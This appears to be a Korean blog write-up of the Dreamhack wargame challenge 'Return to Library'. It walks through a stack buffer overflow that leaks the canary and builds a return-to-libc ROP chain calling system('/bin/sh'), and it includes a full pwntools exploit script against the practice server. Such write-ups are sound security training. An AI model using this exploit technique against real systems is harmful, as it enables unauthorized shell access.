워게임

[시스템 해킹] Return to Library write-up

sewoo-jjang 2026. 2. 6. 11:45

https://dreamhack.io/wargame/challenges/353

 

로그인 | Dreamhack

페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!

dreamhack.io

0. 보안기법 확인

  • NX bit와 canary가 켜져 있음을 확인

1. 소스코드 확인

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}
  • 이 문제에서는 친절하게도 canary를 leak 할 부분과 overwrite할 부분을 명시해 주었다.
  • NXbit가 켜져있어 스택에서 shellcode 실행이 안되고 system('/bin/sh')가 코드 내에 없으므로 rtl을 실행해야 할 듯 하다.

2. 주소확인

  • IDA와 gdb로 확인해본 결과 buf는 rbp - 0x40, canary는 rbp -0x8에 위치함을 확인했다

3. rtl 준비

  • rtl를 실행하기 위해선
    • '/bin/sh' 문자열이 있는 주소
    • ret gadget
    • pop rdi, ret gadget
    • system함수의 plt 주소이 필요하다
  • '/bin/sh'문자열 주소와 system함수의 plt주소는 pwntools 기능으로 구하도록 하겠다.

  • ROPgadget --binary rtl 명령어를 사용하여 필요한 가젯의 주소를 쉽게 얻을 수 있었다.

4. payload 작성

from pwn import *

p = remote('host3.dreamhack.games',13240)
e = ELF('./rtl')
system_plt = e.plt['system']

binsh = next(e.search(b"/bin/sh"))


rdi_gadget = 0x400853
ret_gadget= 0x400596

buf = b'a'*0x39
p.sendafter('Buf: ',buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))

pay = b'a'*56
pay += p64(canary)
pay += b'b'*8
pay += p64(rdi_gadget)
pay += p64(binsh)
pay += p64(ret_gadget)
pay += p64(system_plt)
p.sendafter('Buf: ',pay)

p.interactive()
  • 카나리 설명
    • 카나리가 저렇게 구해지는 이유는 카나리의 위치가 rbp -0x8이였기에 buf와의 차이는 0x40-0x8 = 0x38 이기 때문
    • 하지만 0x39를 곱해주는 이유는 카나리의 가장 첫 문자는 '\x00'이기해 해당 문자를 생략하고 카나리 변수에 넣을때 따로 선언
  • rtl 설명
    • 64bit 에서는 함수가 호출되었을 때 첫번째 매개변수가 rdi 레지스터에 저장되기에 return 자리에 pop rdi; ret 가젯을 넣어둔다.
    • 그럼 해당 스택의 최 상단인 '/bin/sh' 문자열이 rdi에 들어가게 되고
    • 마지막으로 system함수가 호출되면서 '/bin/sh'가 매개변수호 들어간 system함수가 실행되는 것이다.
    • ret gadget을 중간에 넣은 이유는 스택 정렬을 위해로 스택 포인터가 8 bit를 더 움직이게 하려고 유도한 것이라 생각하면 된다.